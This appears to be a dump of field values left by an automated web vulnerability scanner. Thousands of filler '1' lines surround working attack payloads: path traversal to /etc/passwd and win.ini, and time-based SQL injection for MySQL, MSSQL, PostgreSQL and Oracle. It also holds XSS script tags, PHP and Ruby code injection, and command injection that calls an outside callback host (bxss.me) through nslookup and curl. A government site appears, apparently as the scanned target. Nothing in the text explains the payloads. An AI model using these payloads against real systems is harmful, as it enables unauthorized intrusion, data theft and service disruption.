1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
${10000397+9999090}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1
1
1
file:///etc/passwd
1
1
1
../../../../../../../../../../../../../../../proc/version
1
1
1
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
1
1'"()&%<zzz><ScRiPt >gJXQ(9831)</ScRiPt>
1
1
1
../../../../../../../../../../etc/passwd%00.jpg
1
1
1
1
1
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
'"()&%<zzz><ScRiPt >gJXQ(9261)</ScRiPt>
1
1
1
1
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
1
1
1
1
1
1
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
&n906646=v946562
19392675
1
1
1
/etc/passwd
1
1
1
%2fetc%2fpasswd
1
1
1
1
1
1
1
/.././.././.././.././.././.././.././../etc/./passwd%00
1
1
1
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
1
1
1
1
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
1
1
1
1
1
../././../././../././../././../././../././../././../././../././../././etc/passwd
1
1
1
1
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
1
1
1
1
1
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
1
1
1
file:///etc/passwd
1
)
1
1
/\../\../\../\../\../\../\../etc/passwd
1
!(()&&!|*|*|
1
1
1
1
/WEB-INF/web.xml
1
^(#$!@#$)(()))******
1
1
1
1
WEB-INF/web.xml
1
1
1
1
1
1
1
1
1
1
WEB-INF\web.xml
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(112).concat(80).concat(99).concat(86)+(require"socket" Socket.gethostbyname("hitdc"+"pfrfsskx0689e.bxss.me.")[3].to_s)+"
1
Http://bxss.me/t/fit.txt
1
1
'+'A'.concat(70-3).concat(22*4).concat(100).concat(71).concat(118).concat(70)+(require'socket' Socket.gethostbyname('hitqf'+'jsgcybzk25395.bxss.me.')[3].to_s)+'
http://bxss.me/t/fit.txt%3F.jpg
1
1
/etc/shells
'A'.concat(70-3).concat(22*4).concat(109).concat(67).concat(107).concat(87)+(require'socket' Socket.gethostbyname('hitrw'+'rbdjryuca8bd5.bxss.me.')[3].to_s)
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
c:/windows/win.ini
1
1
1
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
';print(md5(31337));$a='
1
1
";print(md5(31337));$a="
1
1
${@print(md5(31337))}
'"
1
${@print(md5(31337))}\
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
https://dpmis.punjab.gov.pk/
1
1
https://redirtest.acx/
1
1
dpmis.punjab.gov.pk
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
'&&sleep(27*1000)*sgkoph&&'
"&&sleep(27*1000)*suqkem&&"
'||sleep(27*1000)*qljzfp||'
"||sleep(27*1000)*aglnfq||"
1
1
'.gethostbyname(lc('hittk'.'wuysibfi3ff5b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(65).chr(105).chr(83).'
".gethostbyname(lc("hitgq"."tfzgwoyvd2300.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(72).chr(114).chr(81)."
1
gethostbyname(lc('hitoz'.'sxpjhhvee0fff.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(85).chr(115).chr(90)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo ctimqr$()\ gkmmtj\nz^xyu||a #' &echo ctimqr$()\ gkmmtj\nz^xyu||a #|" &echo ctimqr$()\ gkmmtj\nz^xyu||a #
1
&echo ohkjhv$()\ reqprk\nz^xyu||a #' &echo ohkjhv$()\ reqprk\nz^xyu||a #|" &echo ohkjhv$()\ reqprk\nz^xyu||a #
1
1
1
1
|echo olvvtf$()\ cctxrd\nz^xyu||a #' |echo olvvtf$()\ cctxrd\nz^xyu||a #|" |echo olvvtf$()\ cctxrd\nz^xyu||a #
1
(nslookup -q=cname hitgyuavzubjh04f5f.bxss.me||curl hitgyuavzubjh04f5f.bxss.me))
1
1
$(nslookup -q=cname hitdmymbmdmqe3ec6a.bxss.me||curl hitdmymbmdmqe3ec6a.bxss.me)
1
1
1
&nslookup -q=cname hitruoiuaerrt68fc7.bxss.me&'\"`0&nslookup -q=cname hitruoiuaerrt68fc7.bxss.me&`'
1
&(nslookup -q=cname hitlzpxjhorwr2434a.bxss.me||curl hitlzpxjhorwr2434a.bxss.me)&'\"`0&(nslookup -q=cname hitlzpxjhorwr2434a.bxss.me||curl hitlzpxjhorwr2434a.bxss.me)&`'
1
|(nslookup -q=cname hitklbaxckgjbde893.bxss.me||curl hitklbaxckgjbde893.bxss.me)
1
1
`(nslookup -q=cname hitpxxzwqikurc3441.bxss.me||curl hitpxxzwqikurc3441.bxss.me)`
1
;(nslookup -q=cname hitetrvdujeldb12d3.bxss.me||curl hitetrvdujeldb12d3.bxss.me)|(nslookup -q=cname hitetrvdujeldb12d3.bxss.me||curl hitetrvdujeldb12d3.bxss.me)&(nslookup -q=cname hitetrvdujeldb12d3.b
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitdtlzvtuiuj304d1.bxss.me||curl${IFS}hitdtlzvtuiuj304d1.bxss.me)
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitueqhyiisex5f4a8.bxss.me||curl${IFS}hitueqhyiisex5f4a8.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitueqhyiisex5f4a8.bxss.me||curl${IFS}hitueqhyiisex5f4a8.bx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9690974*9801187)
'+response.write(9690974*9801187)+'
"+response.write(9690974*9801187)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
GSW3CngB
UBn3iXB3: ozweJah8
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >Jimi(9287)</ScRiPt>
1
1
'"()&%<zzz><ScRiPt >Jimi(9306)</ScRiPt>
19143854
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1gWXl0rFx
1
12345'"\'\");|]* { < >
1
1
-1 OR 2+26-26-1=0+0+0+1 --
-1 OR 2+901-901-1=0+0+0+1
-1' OR 2+367-367-1=0+0+0+1 --
-1' OR 2+451-451-1=0+0+0+1 or '8z0AWdV6'='
-1" OR 2+655-655-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(3),0)
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1-1); waitfor delay '0:0:15' --
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1rrLk0PPm'; waitfor delay '0:0:15' --
1
1b7gXzzpu'; waitfor delay '0:0:3' --
1
1
1
1
1
1
1-1 OR 808=(SELECT 808 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1 OR 528=(SELECT 528 FROM PG_SLEEP(15))--
1
1-1 OR 202=(SELECT 202 FROM PG_SLEEP(0))--
1
${9999621+10000488}
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
Http://bxss.me/t/fit.txt
1
http://bxss.me/t/fit.txt?.jpg
1
/etc/shells
../../../../../../../../../../../../../../etc/shells
1
c:/windows/win.ini
1
1&n912354=v922240
1
1
1
1-1 OR 384=(SELECT 384 FROM PG_SLEEP(6))--
1
1-1 OR 470=(SELECT 470 FROM PG_SLEEP(0))--
1
1
1-1 OR 850=(SELECT 850 FROM PG_SLEEP(6))--
1
1
1
1
1
1
1
1
1
1
1
1-1) OR 190=(SELECT 190 FROM PG_SLEEP(15))--
1
1
1-1)) OR 147=(SELECT 147 FROM PG_SLEEP(15))--
1
1
1
1
1WVZV3xwX' OR 445=(SELECT 445 FROM PG_SLEEP(15))--
1
1
1
1
1NffQf6JV') OR 518=(SELECT 518 FROM PG_SLEEP(15))--
1
1
1
1
1HUlS7TJ0')) OR 841=(SELECT 841 FROM PG_SLEEP(15))--
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
1
1
1'"
1
1
1
1
1
1
1
1
@@m4QNr
1
1
1
1
1
1
1
1
1
1
1
bxss.me
HttP://bxss.me/t/xss.html?%00
1
bxss.me/t/xss.html?%00
1
1
"+"A".concat(70-3).concat(22*4).concat(108).concat(87).concat(116).concat(82)+(require"socket" Socket.gethostbyname("hityh"+"fkqwxtoi1f76d.bxss.me.")[3].to_s)+"
1
1
'+'A'.concat(70-3).concat(22*4).concat(110).concat(80).concat(120).concat(80)+(require'socket' Socket.gethostbyname('hitfh'+'nlmexcoab7bf8.bxss.me.')[3].to_s)+'
1
1
'A'.concat(70-3).concat(22*4).concat(114).concat(71).concat(122).concat(69)+(require'socket' Socket.gethostbyname('hithj'+'oeeodgcw9f7ca.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
create
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo dtmwwp$()\ gslpzq\nz^xyu||a #' &echo dtmwwp$()\ gslpzq\nz^xyu||a #|" &echo dtmwwp$()\ gslpzq\nz^xyu||a #
1
1
1
1
1
&echo inreuq$()\ ffgkgj\nz^xyu||a #' &echo inreuq$()\ ffgkgj\nz^xyu||a #|" &echo inreuq$()\ ffgkgj\nz^xyu||a #
1
1
1
1&echo gcmoug$()\ ivbrvs\nz^xyu||a #' &echo gcmoug$()\ ivbrvs\nz^xyu||a #|" &echo gcmoug$()\ ivbrvs\nz^xyu||a #
1
1
1
1
1
|echo sqzmxa$()\ tpxisp\nz^xyu||a #' |echo sqzmxa$()\ tpxisp\nz^xyu||a #|" |echo sqzmxa$()\ tpxisp\nz^xyu||a #
1
1
1
1
1|echo yiowud$()\ qevrvl\nz^xyu||a #' |echo yiowud$()\ qevrvl\nz^xyu||a #|" |echo yiowud$()\ qevrvl\nz^xyu||a #
https://dpmis.punjab.gov.pk/
1
1
1
1
(nslookup -q=cname hitlnzuvpbylnbfbf5.bxss.me||curl hitlnzuvpbylnbfbf5.bxss.me))
https://redirtest.acx/
1
1
$(nslookup -q=cname hityihwbpernb44b99.bxss.me||curl hityihwbpernb44b99.bxss.me)
1
dpmis.punjab.gov.pk
1
1
&nslookup -q=cname hitxfercxnyoee0df9.bxss.me&'\"`0&nslookup -q=cname hitxfercxnyoee0df9.bxss.me&`'
redirtest.acx
1
1
'.gethostbyname(lc('hithu'.'nwfhoxsy698ee.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(85).chr(120).chr(73).'
&(nslookup -q=cname hitmgtzcbkuwfe3bcc.bxss.me||curl hitmgtzcbkuwfe3bcc.bxss.me)&'\"`0&(nslookup -q=cname hitmgtzcbkuwfe3bcc.bxss.me||curl hitmgtzcbkuwfe3bcc.bxss.me)&`'
1
1
1
".gethostbyname(lc("hitfd"."vcrubztr6cc38.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(78).chr(113).chr(90)."
1
|(nslookup -q=cname hitxfnpvefuyl7dea5.bxss.me||curl hitxfnpvefuyl7dea5.bxss.me)
1
1
1
gethostbyname(lc('hitaj'.'kvbundae20f4a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(76).chr(107).chr(84)
1
`(nslookup -q=cname hitqzeuqlfcav44eb2.bxss.me||curl hitqzeuqlfcav44eb2.bxss.me)`
1
1
1
1
1
;(nslookup -q=cname hitwyvewwbxybb95e6.bxss.me||curl hitwyvewwbxybb95e6.bxss.me)|(nslookup -q=cname hitwyvewwbxybb95e6.bxss.me||curl hitwyvewwbxybb95e6.bxss.me)&(nslookup -q=cname hitwyvewwbxybb95e6.b
1
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitujnbdezyel58bc4.bxss.me||curl${IFS}hitujnbdezyel58bc4.bxss.me)
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitxbcbdvbxbf5ad1e.bxss.me||curl${IFS}hitxbcbdvbxbf5ad1e.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitxbcbdvbxbf5ad1e.bxss.me||curl${IFS}hitxbcbdvbxbf5ad1e.bx
1
1
1
';print(md5(31337));$a='
1
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1'&&sleep(27*1000)*rcsnmu&&'
1
1
1
1
1
1
1"&&sleep(27*1000)*fqewos&&"
1
1
1
1
1
1
1'||sleep(27*1000)*nfegnd||'
1
1
1
1
1
1
1"||sleep(27*1000)*nfphzz||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1x8HmefCg
1
-1 OR 2+584-584-1=0+0+0+1 --
-1 OR 2+758-758-1=0+0+0+1
-1' OR 2+354-354-1=0+0+0+1 --
-1' OR 2+354-354-1=0+0+0+1 or 'lVoih2FO'='
-1" OR 2+734-734-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1KPFAo5QK'; waitfor delay '0:0:15' --
1-1 OR 822=(SELECT 822 FROM PG_SLEEP(15))--
1-1) OR 297=(SELECT 297 FROM PG_SLEEP(15))--
1-1)) OR 10=(SELECT 10 FROM PG_SLEEP(15))--
1y76LFJde' OR 32=(SELECT 32 FROM PG_SLEEP(15))--
1
1sPn9Jag0') OR 584=(SELECT 584 FROM PG_SLEEP(15))--
1
1Jjo24PwC
1JsS5qsby')) OR 468=(SELECT 468 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
-1 OR 2+955-955-1=0+0+0+1 --
-1 OR 2+91-91-1=0+0+0+1
-1' OR 2+750-750-1=0+0+0+1 --
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-1' OR 2+97-97-1=0+0+0+1 or 'MMNR3LIx'='
-1" OR 2+160-160-1=0+0+0+1 --
'"
@@1dBdQ
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1cucC5BGd'; waitfor delay '0:0:15' --
1
1-1 OR 241=(SELECT 241 FROM PG_SLEEP(15))--
1-1) OR 660=(SELECT 660 FROM PG_SLEEP(15))--
1-1)) OR 513=(SELECT 513 FROM PG_SLEEP(15))--
19lUp7mF5' OR 610=(SELECT 610 FROM PG_SLEEP(15))--
1A9rBBLl0') OR 432=(SELECT 432 FROM PG_SLEEP(15))--
1Tw7vhsXQ')) OR 658=(SELECT 658 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
@@6T4bs
1
1
1
1N9k9DrIO
1
1
response.write(9317558*9384273)
'+response.write(9317558*9384273)+'
1
QpWffoIV
1
"+response.write(9317558*9384273)+"
1
1
9SXPHy73: 9eismM6j
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
echo bjobge$()\ tmujrq\nz^xyu||a #' &echo bjobge$()\ tmujrq\nz^xyu||a #|" &echo bjobge$()\ tmujrq\nz^xyu||a #
1
../../../../../../../../../../../../../../windows/win.ini
1
file:///etc/passwd
1
1
1
&echo zvzqvm$()\ wdefqo\nz^xyu||a #' &echo zvzqvm$()\ wdefqo\nz^xyu||a #|" &echo zvzqvm$()\ wdefqo\nz^xyu||a #
1
1
1
1
12345'"\'\");|]* { < >
1
1
../1
1
1
1
1
1&echo eieijr$()\ qumnya\nz^xyu||a #' &echo eieijr$()\ qumnya\nz^xyu||a #|" &echo eieijr$()\ qumnya\nz^xyu||a #
1
1
1
1
1
|echo myrtlv$()\ zosddy\nz^xyu||a #' |echo myrtlv$()\ zosddy\nz^xyu||a #|" |echo myrtlv$()\ zosddy\nz^xyu||a #
1
1
1|echo orcyuc$()\ ggpyml\nz^xyu||a #' |echo orcyuc$()\ ggpyml\nz^xyu||a #|" |echo orcyuc$()\ ggpyml\nz^xyu||a #
1
1
(nslookup -q=cname hitiqjuqouhej046f2.bxss.me||curl hitiqjuqouhej046f2.bxss.me))
1
1
1
1
$(nslookup -q=cname hityklxxbelkw7cfb1.bxss.me||curl hityklxxbelkw7cfb1.bxss.me)
1
1
1
&nslookup -q=cname hityqrwlzjxnwa02d7.bxss.me&'\"`0&nslookup -q=cname hityqrwlzjxnwa02d7.bxss.me&`'
1
1
1
1
1
&(nslookup -q=cname hitwnvbfcorklf7122.bxss.me||curl hitwnvbfcorklf7122.bxss.me)&'\"`0&(nslookup -q=cname hitwnvbfcorklf7122.bxss.me||curl hitwnvbfcorklf7122.bxss.me)&`'
1
1
1
|(nslookup -q=cname hitzamjeesvbw59a79.bxss.me||curl hitzamjeesvbw59a79.bxss.me)
1
1
1
1
`(nslookup -q=cname hitrqddsjmyic5dc87.bxss.me||curl hitrqddsjmyic5dc87.bxss.me)`
1
1
1
1
1
1pC24jM9n
;(nslookup -q=cname hitompndedbei264c8.bxss.me||curl hitompndedbei264c8.bxss.me)|(nslookup -q=cname hitompndedbei264c8.bxss.me||curl hitompndedbei264c8.bxss.me)&(nslookup -q=cname hitompndedbei264c8.b
1
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitdwxrplqbpodbf82.bxss.me||curl${IFS}hitdwxrplqbpodbf82.bxss.me)
1
1
-1 OR 2+85-85-1=0+0+0+1 --
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitmdxsncnwhw385ed.bxss.me||curl${IFS}hitmdxsncnwhw385ed.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitmdxsncnwhw385ed.bxss.me||curl${IFS}hitmdxsncnwhw385ed.bx
-1 OR 2+555-555-1=0+0+0+1
1
1
1
-1' OR 2+782-782-1=0+0+0+1 --
1
1
1
1
1
1
1
-1' OR 2+774-774-1=0+0+0+1 or 'mL5xEfrr'='
1
1
1
1
-1" OR 2+838-838-1=0+0+0+1 --
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1akbZgQ1x'; waitfor delay '0:0:15' --
1
1
1
1
1-1 OR 297=(SELECT 297 FROM PG_SLEEP(15))--
1
1
1
1
1-1) OR 24=(SELECT 24 FROM PG_SLEEP(15))--
1
1
1
1
1-1)) OR 916=(SELECT 916 FROM PG_SLEEP(15))--
1
1
1
1r7puUSnM' OR 404=(SELECT 404 FROM PG_SLEEP(15))--
1
1
1
1
1
1za8DMK55') OR 462=(SELECT 462 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1AdYdpknB')) OR 629=(SELECT 629 FROM PG_SLEEP(15))--
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
${9999447+9999118}
1
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
1
1
1
@@tlhi6
1
1
1
1
1
1
1
1
1
